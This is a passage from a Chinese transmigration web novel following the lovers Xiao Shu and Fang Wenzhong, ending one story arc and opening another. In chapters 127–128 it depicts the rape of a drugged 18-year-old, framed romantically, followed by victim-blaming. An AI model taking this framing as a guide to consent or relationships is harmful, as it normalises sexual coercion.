原一清人模狗样,在他们身后,是被簇拥着过来的‘萧疏’,‘萧疏’一身黑色西装打着领结,头发被打理得精致又随意,他一手插兜一手桀骜地应付一波一波特意来拜见他的人。 ‘萧疏,萧疏!’方闻钟从嗓子里挤出声音。 ‘萧疏’微微侧头,一口酒抿入唇扬起下巴,他视线扫过来很快就转过去……然后就是混乱。 爆炸。】 方闻钟一下坐起身,被子滑到腰间,急促的喘息声在黑暗中慢慢平息,冷汗发凉,彻底清醒。 他转头看去,昨晚男人还拥抱着他入睡,现在依旧睡得深沉,他抬手摸去,没敢触碰到萧疏的眉眼。 方闻钟下床,倒了一杯水,站在窗前。 他和萧疏能持续多久?方闻钟不禁问自己这个问题,重生回来,他怨他恨他怕他,需要他,从什么时候开始,他觉得待在他身边就安心、快乐? 萧疏爱他毋庸置疑,他得承认在这段关系里,他一直是完美的受益者,他给他的太多了,太好了,那现在他还怪他吗? 梦里的场景让方闻钟心口发痛,一杯温水下去,却像吞咽了一大口冰块。 他对萧疏的恨全部消失了吗? 临死前蓝亦对他的作恶,萧疏知情与否?他是纵容他表弟还是单纯地不在意他?方闻钟想着想着,手握着阳台的栏杆,攥到骨节发白。 可能就是不在意吧,方闻钟轻嗤了一下,吐出心里的浊气,那现在的萧疏,对他的爱又能坚持多久? 他们不是一个世界的人,萧疏感情经历丰富更谈不上遇上他就幡然醒悟了,什么时候,他会被腻了,抛弃,重新变成完全不在意的人? 萧疏的不在意可真狠啊,方闻钟咬紧牙齿,眼眶里晕出来的泪,终究没掉下来。 “怎么醒来这么早?” 清晨,萧疏下楼时,方闻钟正坐在花园里喝咖啡,揉了揉男生的头将他手里的咖啡全喝掉,“先进来。” 看到方闻钟坐在一边,他在开放厨房那儿手脚迅速地煎了两个三明治,萧疏系围裙时,方闻钟饶有兴致地观察他,萧疏把三明治端给他,“早上吃点再喝咖啡,”他接过来才愣了。 他之前还在想,他们不是一个世界的人,现在萧疏就熟练地让他感觉他才是不会过日子的人…… 萧疏背过身去换衣服,男人的身材让人垂涎欲滴,他做的三明治也口齿生香,“后天跟我去参加一个宴会,在一艘游轮上。” 听到这句话,方闻钟才僵在原地。 看了看手机,今天二月十六号。 “好吗?”萧疏又回头问了一句,“下午让人来给你量礼服。” 迎着萧疏探寻的微笑,方闻钟说:“好。” 设计师和几个工作人员在他身边感叹,被人靠近整理着脖子里的衣领,当设计师兴趣盎然地把一枚漂亮又昂贵的胸针往他身上戴时,方闻钟只注意到了楼梯下的萧疏。 萧疏对面还有一人,对方穿着时尚又精致,看起来比方闻钟大点儿,年龄应该和萧疏差不多,甚至就是萧疏的熟识,朋友,或者别的什么身份…… 他和方闻钟是完全不同类型的男人,张扬、攻击力强,当萧疏一直背靠在桌子上闲适地环胸抱时,他突然靠近,手指捏着一张纸条,慢动作地塞进萧疏的胸前口袋里。 男人的手指在萧疏的衬衫上点了点,他仰头看方闻钟。 人全部走了,萧疏问:“礼服试的怎么样?” “还可以,”方闻钟回他。 没一会儿,萧疏又换了一件灰黑色的衬衫,他抱起方闻钟,坐在沙发里,方闻钟下意识揽上男人的脖子,亲密、接吻,水到渠成。 萧疏亲著方闻钟的耳垂时,忽然听方闻钟问:“怎么换衣服了?”他还躲着痒。 萧疏平静道:“你说过,不想在我身上再闻到别人的香水味。” “我答应你了。” 两人目光相接,一人包容万物,一人怔愣不堪。 方闻钟偏过头去,很快,他又埋进萧疏脖子里,整个人潮潮的,像散发著湿漉漉的水气。 “这两天怎么了,不开心吗?”萧疏拍着他的背问他。 “没有,”方闻钟憋了好久。 “没有就不要担心,时间总会过去的,任何事也总会到来,都有解决方法,”他一语双关。 方闻钟完全没听出来,“萧疏,我们在一起有大半年了吧……”那还能在一起多久呢?他呢喃。 萧疏听到了心上人的悄悄话,“很久,”他给出他承诺,并且马上要在不久的将来兑现它。 二月十八号清晨,方闻钟一大早心不在焉,被萧疏拉上车时,还差点左脚绊右脚。 车上萧疏抓着方闻钟的手掌,方闻钟不知道,他握萧疏握得有多紧,只呆呆地看着窗户外面。 车开了两个多小时,司机将他们送到海边。 他们站立在原地,萧疏在方闻钟完全没注意到的时候,朝司机做了个手势,让他先离开,接下来就是长久的沉默。 萧疏不问方闻钟犹豫什么,为什么突然不上去了,就在刚才,萧疏向前迈了一步,被方闻钟猛然往后一拉,彷佛前面有悬崖深渊!萧疏踏过去就身死名亡。 他陪着他在等。 方闻钟开始浑身发抖,他旁若无人地陷入深思,萧疏第一次全部松开他的手,就淡定地站在一旁,看着波谲云诡的海面,没人知道他在想什么。 方闻钟想了好多好多,脑子快成浆糊,他眼眶发红,手试探地向旁边摸去,去找萧疏的体温,这次没找到。 萧疏逼他一步,他的声音冷得彷佛他们第一次见面的时候。 “方闻钟,要跟我上去吗?” “不!不要!”方闻钟的声音徒然尖利!在萧疏被他惊地转过来头时,他一下抓住萧疏的两条胳膊,“不要上船,不要去参加这次的喜宴!” 方闻钟不知道,他现在的形象像一个狼狈的疯子。 明明穿着最华丽的礼服,可整个人像从水里打捞出来,像刚从噩梦惊醒,他摇了摇头,眼泪汹涌地滑过脸庞,“萧疏,求求你,不要去。” 他踮着脚,忽然靠近,在湿咸的眼泪中粘贴萧疏干燥的唇。 他不知道还要如何解释,解释他突然制止,解释他一大早的心神不宁,以及近日来对萧疏若有似无的冷淡、观察、隔着一层的亲昵…… 方闻钟完全放下了所有理智,丢掉脑子,让本能占据主动,让他的心明明白白告诉他该怎么做。 无论萧疏曾经有没有伤害过他,无论萧疏未来能爱他多久,他舍不得萧疏,舍不得他可能出意外,受伤,或者死亡。 他放不下这个男人,本以为一直占据主导,说赔上自己也不过一句半真半假的话,可实际上他比他自己以为的要爱萧疏! 无论以前发生过什么,他心里眼里只有现在这个时时刻刻牵动他的男人,他爱萧疏。 “萧疏,不可以上船,你四叔要害你,不……” 方闻钟忽然被抬起头,泪眼模糊中,他不知道现在萧疏是以什么样的眼神看他,那里有浓到化不开的深情、安慰、欣喜、疯狂。 方闻钟,永远是他最爱的人! 亲吻中眼泪干涸,却多了一抹血色。 “好,不去,不去,”萧疏的声音在海风中温柔地贯进方闻钟脑海,“正好我前两天也得到消息,四叔不老实,”胸前塞进来的纸条,正是别人给他的消息。 相爱的拥抱,方闻钟在这一天,迎来了真正的新生。 他的生命,继续从二十岁续上,往后是康庄大道,是萧疏,是白头偕老。 二十岁生日,萧疏给了方闻钟一个特别的礼物,结婚协议,和一对婚戒。 两个人绑定在一起,安方闻钟的心。 下半年,他们去年拍的电影上映了!萧疏和方闻钟像普通观众一样坐在影厅看电影,电影里没有蓝亦演过的男五号,方闻钟吃着爆米花看到一半才反应过来,他笑着把这件事告诉导演。 萧疏刚被方闻钟塞进嘴一大颗米花,闻言,“嗯。” 两分钟后,“本来就没有他那个角色存在的必要。” 方闻钟:“那一开始为什么大费周章地加他?为了原一清投资的一千万?” 萧疏:“为了哄你开心啊。” 噗呲—— 电影渐渐落幕,往后萧疏还可能拍电影,而方闻钟也可能继续在他的电影里演男二号,男一号…… 他是他的缪斯,而他又是他的定海神针。 剧终音乐响起,而萧疏和方闻钟的故事永不落幕,它们蔓延在方闻钟的坦诚里,蔓延在萧疏从一而终的喜欢、温柔…… 第127章 君生我未生:100 错误的开始 系统:“宿主,恭喜你,只剩最后一个世界了!”它言语惊喜可爱,萧疏都不知道它在恭喜什么,站在显示屏前愣了一下,低低回应:“嗯。” “这次渣攻数值100,相信宿主你也能很快成功!”主角受在萧疏这里还不是被手拿把掐,每一个世界感受到了沉甸甸的幸福,萧疏也没有让人物ooc! 显示屏上已经在开始播放这个世界的画面,萧疏从故事中有一丝走神,这就快结束了吗?结束后,方闻钟会消失吗? ‘萧疏,’萧疏被剧情中的声音唤醒。 这个世界,是一个年龄差巨大,君生我未生的故事,‘萧疏’40岁,方闻钟才18岁,更过分的是,方闻钟的父亲,还是‘萧疏’的初恋情人,父子爱上同一个人,悲剧似乎从这一刻就已注定。 可现实远比以上更悲情。 方闻钟和‘萧疏’的开始,始于一场强|暴。 方闻钟从小就吃百家饭长大,父母离婚,父亲在他五岁那年生意失败自杀(领居说的),母亲远走他方对他漠视不管(邻居骂这个女人没良心),方闻钟对母亲的记忆太模糊了,所以也谈不上感情,可他却记得骑在父亲的肩头,父亲磕磕绊绊给他拉大提琴…… 所以成长的路上他想念他怨恨他,为什么我没有爸爸接我放学,为什么没人给我买糖,也曾一个人深夜孤独的时候崇拜儒慕他,爸爸是大学生哎,他还会拉大提琴。 父亲留下一张他最珍视的照片,照片中是除父亲外还有一个英俊的男人,他们并肩而立,父亲的肩头贴着对方的手臂,那张照片里父亲很温和,所以方闻钟就以为,另一个好看的男人,一定是父亲最好的朋友! 他想见他,想找到他了解他,问问关于他们的事,方闻钟就怀抱着这样一个美好的念头期待长大。 过程中也有一些数不清的艰辛,什么打工挣钱啦,吃别家的饭享受别人的关心,他就尽可能做点零活,照顾老人,给小孩补习…… 一条街上的阿叔阿婶方闻钟都晓得,上到十几岁的初中生下到两三岁的小萝卜头,方闻钟也都抱过撒过尿,白天上学忙活儿,晚上就坐在狭小的窗户前被台灯陪伴到半夜。 他好好学习,从父母留下来的小房子,穿过七扭八拐的巷道,跑出居民楼到学校时,方闻钟把自卑、内向、敏感,通通留在身后,只留下脸上开朗的笑容。 他就这样长到了十八岁,上了大学,读热门的专业:投资学。 命运从这时开始跟他开玩笑,他在一家酒店打工,因为长得帅身段好,经理夸他‘这么干净阳光,完全可以靠脸吃饭了,还总透出纯洁的一点小羞涩,肯定招人喜欢’,方闻钟拿到了最高的提成,开心。 夜间,他被搞错了对象的几人塞到‘萧疏’床上!‘萧疏’是风投集团创始人,是资本大佬行业领袖,无数人膜拜追捧将他奉为座上宾,只为点金手点到自己成就下一个神话,救世主和掠夺者的评价,都撼动不了‘萧疏’是圈内隐形霸主,坐拥资本半壁江山的事实。 年近四十,风光和锐不可挡都渐渐消匿,‘萧疏’逐渐放权给公司其他合夥人,半隐退。可他顶级的智慧和眼光独断力,依旧让人想方设法奉承他,巴结他。 方闻钟就是那个被送上去的好处,还是顶替别人的。 可没人在意他的身份和一开始是否相符,无论送人的人,还是享用的人,一夜过去,他被一个大他22岁的男人强|暴了。 荒唐、离谱,方闻钟没反应过来,对方给的赔偿也不理。 可他没忘,那个男人,正是父亲的朋友,照片中的另一个人,他期待已久想见的对象。 虽然他已年长好多岁,但方闻钟还是控制不住事后接近他,了解他,他追到了对方公司。‘萧疏’动了想将人留在身边做情人的念头,他也贪恋年轻的肉|体和灵魂,这种事驾轻就熟、游刃有余,只要给些好处以及恰当的暧昧,对方就能无所觉地听话,最终做一只任他把玩的小猫。 方闻钟陷进了‘萧疏’的网里,他当然招架不住一个大他22岁感情经历丰富的老男人的哄骗,见识到了‘萧疏’的厉害,体会到了‘萧疏’的周到体贴,公司与校方有合作,‘萧疏’被邀请来做讲座以及担任大赛评委,他特意关照方闻钟。 方闻钟在同学们羡艳震惊的眼神中,不不可避免地儒慕台上那个风度翩翩的男人,原来他比自己的爸爸还要厉害好多啊。 台下同学问他,“他是你谁啊?”方闻钟没好意思,说:“叔叔。” 关于父亲的事,不好在‘萧疏’面前开口。 因为他和‘萧疏’上过床的关系,方闻钟只能把这压在心里,慢慢观察他。 从倾慕到喜欢,爱上‘萧疏’,只需要‘萧疏’略动心思,却是方闻钟漫长、孤独童年的弥补,终于有人接他上下学了,终于有人等他一起吃饭,而不是扒拉过的剩菜剩饭,终于有人不计成本地给他买糖吃,运动会有人加油,摔伤腿了有人背着上楼梯…… 有人在新年接他,给他一个归属,有人无数次深夜唤他的名字,彷佛他无比重要,不再孤单。 方闻钟爱上了一个四十岁的男人,还是父亲的朋友,他羞于启齿,暗暗唾弃自己可又忍不住甜蜜。 他在这里幻想着未来时,‘萧疏’那边,却已敲下他们的倒计时。 在一次酒吧朋友聚会上,朋友喝醉酒拿过一张照片,挨个指着说这是他们大学谁谁谁,“这是萧疏的初恋情人,哎,你和他还长得有点像呢,”他在众人瞩目中,对方闻钟说。 方闻钟浑身僵透了,那是他的父亲!对上‘萧疏’的视线,‘萧疏’默认,甚至连朋友开玩笑‘你一直惦记着初恋啊’他也默认。 因为他对方闻钟腻了,不想陪他玩儿了,顺势让他主动离开。 方闻钟慌不择路,消失在‘萧疏’身边。 他痛苦不堪,羞耻、恶心、厌恶自己,他以为‘萧疏’从始至终爱的人是父亲,对他好也是因为父亲。原来真相是这样,父母从不是什么正经结婚生子,他的父亲骗了母亲!他的出生就是个孽障。 他以为‘萧疏’不知道他和他初恋情人的关系,实际上查到他们是父子,方闻钟的数据第一天就摆在‘萧疏’的桌上,只不过他不在意,还正好利用。 老天有眼,‘萧疏’得了绝症,必须要换器官才能存活下去!他病得很重,方闻钟知道时,再看到他的样子难以置信,他决定将自己的器官换给‘萧疏’。 爱他也罢,不想活了也罢,方闻钟被推进手术室前,掉了最后一滴泪。 不被牵挂地来,了无牵挂地去,还给他们!无论是父亲、母亲还是‘萧疏’或者旁的人,他身上的一切,他所拥有的一切,还给他们。 他有的,本来也不多。 明明是一场正常手术,可不知是否因为方闻钟存了死志,手术出现重大意外,他死在手术台上。 ‘萧疏’的手术却很成功。 知道方闻钟给自己换器官,他们都签了同意书,方闻钟活着,‘萧疏’以后或许会感谢他,给他一大笔钱,方闻钟死了,‘萧疏’不一定能记得他多久…… 很快,‘萧疏’身边又有了一个小情人,他,以及方闻钟,方闻钟的父亲,都是‘萧疏’感情生活的调剂,是他玩玩儿,若干消耗品中的一个,他从不缺人,也从不在意,没有例外。 方闻钟留给‘萧疏’的,只有一个维持‘萧疏’生命体征的器官,他甚至连他的记忆也不多占。 原剧情就是这样,一个表面儒雅温和实则自我冷漠的VC大佬(Venture Capital风险投资),一个一生都像笑话的人。 父母不爱,方闻钟千辛万苦地长大,却在成人礼遭受恶魔入侵,他被引诱跳进火坑,可却以为是繁花似锦;单纯热烈,被戏耍不被珍惜,他平静的美好生活随意被人打破,人生千疮百孔。终于他活够了,一腔真心留下满目疮痍,溅起的泥泞‘萧疏’都嫌沾身,躲过。 孑然一身,悲情不被爱,死亡彷佛是他最好的终点。 原剧情结束,系统看着久久坐在那里两腿随意支着的萧疏,“宿主,怎么样,有把握吗?” 萧疏收回腿,站起身,声音正常无波,“方闻钟要的是爱,我给得起,我的爱也拿得出手,至于这条命,不要也罢。” “开始吧,”他说。 酒店大床上,让方闻钟痛苦的点,从来不在于他们错误的开头,或者爱上不该爱的人,父亲的初恋情人,大他22岁的男人,而是‘萧疏’从未给过他认真和体面,至死都对这个救命恩人没有丝毫愧疚和缅怀。 那这一次,就从现在开始改变。 “方闻钟,是我。”萧疏说。 第128章 萧疏:“方闻钟,你该剪指甲了。” 系统只留下最后一句“不要偏离剧情不要ooc就赶紧下线!”不然它怕看到什么不该看的东西。 黑色的大床柔软的被子,一条胳膊被一只大手抓住狠狠陷进去,随着衣服剥落,越来越多皮肤白得刺眼,它们在摩擦蹂躏中生红,在抵抗挣扎中发出低低哀鸣,眼泪、打翻的水杯、被弄疼的身体,混乱不堪,一起在昏暗中奏响这段命运的交响曲。 满屋的酒味和香气,萧疏俯在方闻钟身上,爆发- 萧疏一身黑色西装马甲,脚下的皮鞋尖锐又锃亮地翘着二郎腿,他坐在窗前,手里端着一杯咖啡,平静地看着窗外,彷佛享受这难得的事后清晨。 抿唇时,偶尔看看乱作一团的床铺,里面蜷曲的人还没醒过来,当第四次看时,萧疏对上方闻钟的眼睛。 方闻钟挣扎扭动的身体霎时僵住,“醒了,”萧疏的嗓音如含金石温润沉淀。 两人似乎在比谁更沉默,这种情况下方闻钟明显不是萧疏的对手,他先是转过头去闭上眼,后又不得不面对转过来想起身。 因为某个部位牵动他疼得面部扭曲,还是挣扎着坐起来,黑色的被子像瀑布一样从他身上滑下去,露出肩头,滑到腰身。 看到肩膀上若隐若现的红痕,方闻钟立马往上拉,牙齿隐隐咬得作响手指将被子攥紧。 彼时,萧疏一直坐在沙发上,还靠着椅背欣赏方闻钟以上所有动作。 方闻钟不得不看过去。 “昨晚是谁派你来的?想干什么?”男人悠闲地喝了一口咖啡,头也不抬地问了一句,终于进入正题。 “我说了我不是那个人,他们搞错了对象!”方闻钟嗓音哑哑地解释,因为这句话在夜里解释了无数遍,没有丝毫效果,他带上了火气,“我不叫‘文忠’还是‘闻仲’,我叫方闻钟,我有姓!是他们把我强塞进你的房间还给我喝了下了药的水!” 萧疏敲着杯壁,等着他继续说。 “你明明知道搞错了,你都停下来了,可你最后还是欺负我。” 方闻钟最后几个字音调不太对,他眼眶里已布满泪水,委屈却死倔地不掉下来。 “听起来,似乎错不在我,”萧疏住手,歪了歪头,“你喝了药,我喝了酒,我们都控制不住,要怪也怪送你进来的人,你说对吗?” 他将杯子放下,弯腰起身。 方闻钟攥紧拳头,一瞬间绷紧腰背!这人怎么能这么说,方闻钟用他十八年的脑子也想不通有一天他会被一个男人强|暴,虽然以前从未接触过也不懂,可经历昨晚,他无比清晰地明白了,他被一个男的强|奸了! 他还不认错,认为这是别人的甚至他方闻钟的错! 他只是待在自己房间喝了点酒有什么错? 方闻钟气得发抖,却见男人刚才起身,朝他这边走来。 黑色的皮鞋踩在地板上发出令人凛神的声音,然后走上地毯声音被吸收掉,萧疏踢开地毯上方闻钟的牛仔裤,掉出一条白色内裤,方闻钟闭上眼,萧疏已站到他身前。 “之所以还在这里浪费时间等这么久,”萧疏看了看银色的腕表,“不过是想听听你有什么好解释。” “现在看来,确实是浪费时间,不过我可以考虑给你赔偿,”他拿起旁边自己的黑色外套。 目光往下淡定地扫视一圈,“就当治伤,”某个部位需要上药。 一张金色的名片放在方闻钟手边,方闻钟撇过头不理,赌气地抱住膝盖,一瞬间的疼痛让他迅速把脸埋进膝盖,明目含泪,已经打湿了一滴被罩。 萧疏走了,又站在一面立身镜前扯了扯领带。 方闻钟抬头偷偷看他,从醒来开始到现在,他和这个人一直泾渭分明彷佛处在楚河汉界两侧,他衣着精致妥帖,他未着寸缕,他坐在阳光下喝咖啡,而他在杂乱的床铺不敢起身。 他盯他有些久,方闻钟的目光难过又委屈。 其实比起和男人发生性|关系这件事,更令他震惊的是这个人他可能认识。 还一直期待见到他。 他比照片中老了点,眼角有一点皱纹,头发也不是原来放下来的样子,光洁地梳到脑袋后面,和自己幻想中的成熟大叔不一样,男人明显更锋利锐气逼人不好接近,他扫过来的样子有点害怕,方闻钟更忍不住哭了。 原来他就是父亲的朋友,照片中的另一个人。 “方闻钟,”忽闻自己的名字。 萧疏打理好领带,可能刚才在自己脖颈间看到了什么,他盯着垂着脑袋眼睛像兔子一样的男生,说出恶毒的话,“你该剪指甲了。” 啪! 萧疏走后,方闻钟拿过一个枕头重重地摔到前面墙上!要是萧疏再迟走一步,方闻钟不确定自己会不会扑下去打他,他呼呼地喘着气,疼死了也忍着,套上T恤和内裤,两分钟后,他拿着那张金色名片还在愣神。 “萧,疏。” 他一字一句叫出他的名字,原来他叫萧疏。 心里一瞬间堵了好多话想说,方闻钟把名片捏手里,又被硌得疼,随意扔裤兜里,他有四十了吗?坐酒店电梯下楼时,方闻钟注视着自己模糊的样子,又恍惚间想起昨晚萧疏在他身上的身影,难堪地整个人在颤抖。 等了那么多年,没想到在他十八岁就能找到他。 没想到在他十八岁,他和他是这样见面的…… “闻钟,你怎么这么蔫?”经理拉着方闻钟的胳膊好心地关心他。 方闻钟现在听不得‘闻钟’两个字,扯了扯难看的嘴角,“经理,昨晚让我送酒的那两个客人您还记得吗?能找到他们吗?” “没印象,”经理说,方闻钟只是问问,毕竟事情已经发生了他就算把他们全报警抓了可能也实现不了,心累地继续往前走。 后头经理还说:“不舒服了就休息一两天,勤工俭学也不是这么勤的……” 帅气的小夥,已经变成了一根霜打的茄子。 方闻钟能忍,后面疼成那个样子了他也没想过买药,要脸,不知道买什么药,该怎么跟导购员说,他沉默地回学校。 与此同时,想巴结萧疏的两个老板也发现他们送错人了,叫“文忠”的小网红主动来找他们了,“文忠”名字憨厚老实,是个妖艳精致的小0,还没有丝毫经验。 他心里不安,钱拿了怎么还不找他办事啊?昨晚等了一夜也没见人来接他,两个老板也傻眼,但人送都送了…… 估计萧疏也接纳了,那出错有什么关系? 他们继续觍着脸往上赶- “楼下谁家小孩儿啊?”长得还挺好看的,秘书部的几个大佬抱着文档笑说,是位四十多岁的姐姐,他对面的男秘同样笑,“不知道呢,你也看到了?我来时就在前台晃悠呢,估计来找人的。” “嗯,那估计是哪位同事亲戚,长这么好看,以后招进公司也能养养眼。” 三天里,方闻钟一开始将名片扔很远,后来夹在一本厚厚的经济学书里,再后来,他晚上上网搜了搜:萧疏。 名片上没有多余的介绍,可网页跳出来的内容让方闻钟大受震撼。 国内最知名风投创始人,所有他们熟知的互连网、医药、新能源等各个行业的巨头,都有他投资控股的身影,有些虽已退出股权,但细查都能查到早年他的风光布景,可以说,他点亮了半个资本帝国。 “你也看渊枢资本啊,”同学搭在方闻钟后背一起弯腰看他的计算机。 方闻钟不舒服地躲开了,渊枢资本是萧疏公司的名字,另一个同学不了解,没听过,“什么?” 方闻钟拉上上床下桌的帘子,将别人的声音隔绝在外,偶尔还能听到一句‘这你都不知道,你白报本专业了’,‘不知道啊网上没有他照片’,他翻来覆去。 晚上果然做了噩梦,一会儿是梦到爸爸年轻时候,他们上大学的样子,萧疏应该在父亲旁边,他们说笑,一会儿是四十岁的萧疏面目沉稳又可憎,坐在他面前对他咄咄逼人。 ‘昨晚配合得那么好还说不是自愿是被强迫的’,虽然知道是梦,不是真实发生的事,可方闻钟醒来还是伤心得不能自已,下床时差点踩空梯子掉下来。 他决定,再去见见萧疏。 不然他永远无法平静下来,虽然不知道见了要说什么,可他只是想看看他,或许看看父亲可能存在的影子。 了解他多一点,彷佛自己的生命也充实一点儿。 所以他在渊枢资本的楼下,前前后后犹豫良久想上去,结果还是被拦了!保安不让他上楼。 最后一位好心大哥听到他找“萧疏,萧总”,招了招手,带他一起进电梯。 “萧总人呢?” “在谈判呢?” “怎么,对方又来找茬?” “嗯,这次萧总和对方打赌,输了萧总去给他当一个月的司机,赢了以后三成利润归我们,”咯咯笑,“送上门的好处。” 几位同事的挤眉弄眼方闻钟压根没心情听,他紧张地左顾右盼,前面大哥停下,“原总,”有人喊道。 再然后,方闻钟就被安排在一个茶水间了,等了好久没人进来,咖啡也不敢喝,他前面还有一个大大的摄像头。 注意到这个的时候,方闻钟一下往后一趔,后背被坚实的椅子挡住。 门被推开,皮鞋敲地的声音又吓了方闻钟一跳。 “你找我?”萧疏坐在他对面,拉开椅子将眉眼挑向他。 第129章 方闻钟:“我可以偶尔来见见你吗?” 萧疏彷佛完全忘了他和方闻钟发生过什么,见到方闻钟,目光没有一丝犹疑和好奇,彷佛对面坐的是商业合作夥伴,如果忽略他较小的容貌的话。 方闻钟更紧张了,一路走来见到坐在主位的‘萧总’,勤勤恳恳打了好久补丁预想中的寒暄一句都开不了口。 萧疏已经把那晚不当回事,他也闭口不提。 刨去寒暄,剩下的目的图穷匕见,“我想,我想以后偶尔来见见你,我不打扰你,可以不像今天这样被拦下推出去吗?” 他似乎完全不知道自己说了什么离谱的要求,还强作镇定,看着萧疏的眼睛。 那双深沉的眉眼滑过一丝意外,萧疏坐直身体。 “如果,这是你新想出来的赔偿的话,”就当方闻钟踌躇不安时,他听到萧疏说。 萧疏点了下桌子,“有意思。” “你见我做什么,”他弯腰靠近方闻钟,方闻钟彷佛一个小鹰被老鹰的气势包围住。 “看看你在做什么,”他捏着自己的手指。 “是吗?”萧疏起身,踱步到他身后,他的手扶着对方的椅子,转向椅突然滑动了一下,下一秒方闻钟瞬间面对面懵逼地看着俯视他的男人。 萧疏挺直腰背,只是目光向下巡视着,他盯着方闻钟的眼睛,从他的五官看到肩颈,再看到下面的腰、腿,方闻钟一动不动,他直觉感受到一股危险,男人已经松开椅子,往后退了一步。 他双手插兜,就那么闲适地后背靠墙,忽然对方闻钟笑了一下。 方闻钟形容不出那是什么笑,友好、轻嘲都不算,萧疏眼里的兴味越来越明显,“我答应你。” “正好我应该给你一定补偿,如果……” 咚咚咚,门被敲响了,探进来一个头,小声道:“萧总,开会了,那边已经等了十分钟。” 秘书提醒萧疏注意时间,萧疏没说完的话就这样被打断,方闻钟的心也不上不下,萧疏起身,“先坐着,”就这样留下方闻钟又走了。 方闻钟:“……” 他呆愣了一会儿,然后慢吞吞地把椅子转过去,重新面对桌子,桌上的咖啡吸引了他的视线,他趴下端起来,抿了一口。 闻着很香为什么这么苦!方闻钟差点把杯子打翻,赶紧推得远远的……眼不见为净。 会议室里的萧疏,忽然朝身后的秘书招了招手。 他对着她耳边说:“给他一杯果汁,”继续看大屏演示。 这一幕发生在忙碌的会议室差点让秘书出神,摸不着头脑,可很快,她明白‘他’是谁。 秘书把自己的惊讶全部藏在心底,看着萧疏,慢慢退出会议室。 方闻钟端着好心姐姐重新送来的果汁喝完时,时间已经到了下午五点该吃晚饭的时候,萧疏也终于姗姗来迟。 “请你吃饭,”他说:“我们再谈。” 方闻钟下意识跟着走了,因为男人已经转身带路,似乎不容方闻钟拒绝,跟着坐专属电梯时,方闻钟偶尔往公司其他角落瞥一瞥,走出公司上车去陌生地方。 方闻钟忽然警戒心起来,萧疏不会拉他去什么危险的地方再干什么吧?虽然对他有天然的好感和亲近,但因为之前的遭遇让他长了记性并对萧疏产生了一些不好的防备。 萧疏没将方闻钟的止步放在眼里,吩咐司机去一家有名的西餐厅,方闻钟听到低头上车。 司机泊车时,萧疏已经先下去,餐厅的接待人员出来迎接,方闻钟在身后脚步越来越不自信,前头萧疏跟侍应生说着什么,侍应生低头恭敬地应答,暂时没管后面的方闻钟。 进到餐厅,萧疏忽然往后看了一眼,恰好对上方闻钟仰视餐厅大楼,眼里露出惊叹不安时。 萧疏走回去,方闻钟本来两手交叉在前,互相攥着,这一下赶紧松开尽量自在地将手臂垂在两侧,他不知道萧疏又回头发生了什么。 “不在这里吃了吗?”他隐约有些期待,虽然这顿饭肯定是萧疏请客。 萧疏问他,“方闻钟,你几岁了?” 啊?这一问不止方闻钟呆了侍应生也没反应过来,看了眼成熟男人身后跟着的小年轻,方闻钟老实作答:“18。” 萧疏笑了,“原来还是小朋友啊,”他说:“吃饭还需要人带。” 与此同时,他伸出大手在方闻钟肩头拍了拍,然后贴在方闻钟后背,推着他往前走。 两人一下距离拉进,方闻钟被迫跟上侍应生的带路,后无退路,左右也没有多余的空间,方闻钟机械地走直线,说实话,他却感觉到一些被安抚,萧疏的大掌送他到座位坐下时,自然而然地离开。 方闻钟控制着吐出一口气,抬眼偷看正要落座的男人。 点餐这种事萧疏举手投足间尽是优雅和娴熟,方闻钟专注地听他讲话然后低头看菜单,想着自己待会儿该点什么,没想到几分钟后,听到服务生说:“先生,就这两份套餐是吗?” 两份?方闻钟眨眼,顿住动作抬头。 “嗯,”萧疏将倒了水的杯子递到方闻钟面前。 菜单被收走了,方闻钟安心。 一道道餐点上来,方闻钟不需要动脑也不需要犹豫,萧疏会面无表情地命令人给他们切好方便入口,在服务生靠太近会打扰到他们时,萧疏抬手一律拒绝。 包括这家餐厅的特色,音乐表演。 方闻钟在萧疏的沉默中,倒是品尝出了这顿晚餐的美味,虽然第一次吃西餐,还是这么高档的餐厅,但一切感觉都挺好。 吃到最后方闻钟有时间多观察一下周围,他这才看到,自己的着装和别人格格不入,可能因为他是和萧疏一起来的,所以没有任何打量的眼神瞥向他们这边。 方闻钟低着头,萧疏将最后一口食物咽下去,擦完嘴。 才有时间谈话,萧疏问他学校的事,学什么专业,方闻钟每一个都清晰应答。 “那倒是离你们学校不远,”萧疏说。 方闻钟:“公司离老校区近,但我们大一新生在新校区,从那边坐车过来要一个多小时,而且我们这学期有些课还在老校区,到时候要两边跑上课了,好麻烦。” 他说着说着,开始抱怨,萧疏自始至终认真听着,就当方闻钟察觉到自己太放松时,萧疏又换了话题,“你能考上A大很厉害,高考考了多少分?” “6xx!”方闻钟说了一个分数,惊喜地望向萧疏! 从来没有一个外人关心过他的成绩,问过他考多少分,这一刻,面对着他朝思暮想的可能是父亲朋友的人,方闻钟向交十八年的答卷一样,热情地对对方说:“我考了6xx分。” 他应该是期待鼓励的,或者随便说些什么客套话也好,萧疏只是喊来服务生。 继续下一个话题。 方闻钟脑袋蔫了,无神地盯着餐盘出神,他终究不可能是父亲的连接点,方闻钟找不到他期待的缩影。 买单后走出餐厅,方闻钟这才惊讶地发现,外面这会儿风云变幻,下起了雷暴雨,地面已全是水滩,可是在粉蓝泼墨的天空上,东方还挂着一道彩虹。 云层被最后的夕阳映出金边,方闻钟抬腿就跑,他踩着雨,飞快到车旁。 回头时,司机已经快步过去将大伞打在萧疏头顶,萧疏抬脚,三步两步过来,他从司机手中接住雨伞,撑在两人头顶。 因为身高的缘故,方闻钟一下淋不到雨了,却还能看到五彩缤纷的天空,好漂亮。 轰隆一声雷,他抖了一下,萧疏也看了眼彩虹,忽然说:“如果你想要偶尔看到我的话,我同意你,以你的专业和学校,我可以给你一个机会来当最底层的实习生。” 他忽然低头,方闻钟的视线从他喉结移到他脸上,“来吗?” 男人好整以暇地等他自己跳坑。 第130章 光脚踩在皮鞋上 夏季的雨就是这样,轰隆隆的雷电雨,不管天还没黑就擅自将夕阳的红搅弄成晕染的蓝,五颜六色的,人在雨中起了一身鸡皮疙瘩,大脑却变得清晰又愉悦。 “好啊,”方闻钟惊喜地说。 他没意识到以他的身份、水平能进渊枢资本是一件多么玩笑的事,他只知道萧疏同意他的要求了,他以后可以常看到他,了解到他在做什么。 了解父亲的朋友,可能是一个什么样的人。 他在雨中动了动脚,忽然觉得脚有些湿,方闻钟低头看去,自己的球鞋右拇指那里好像裂缝了,刚才跑路踩进去好多水,现在湿湿地沾在脚上。 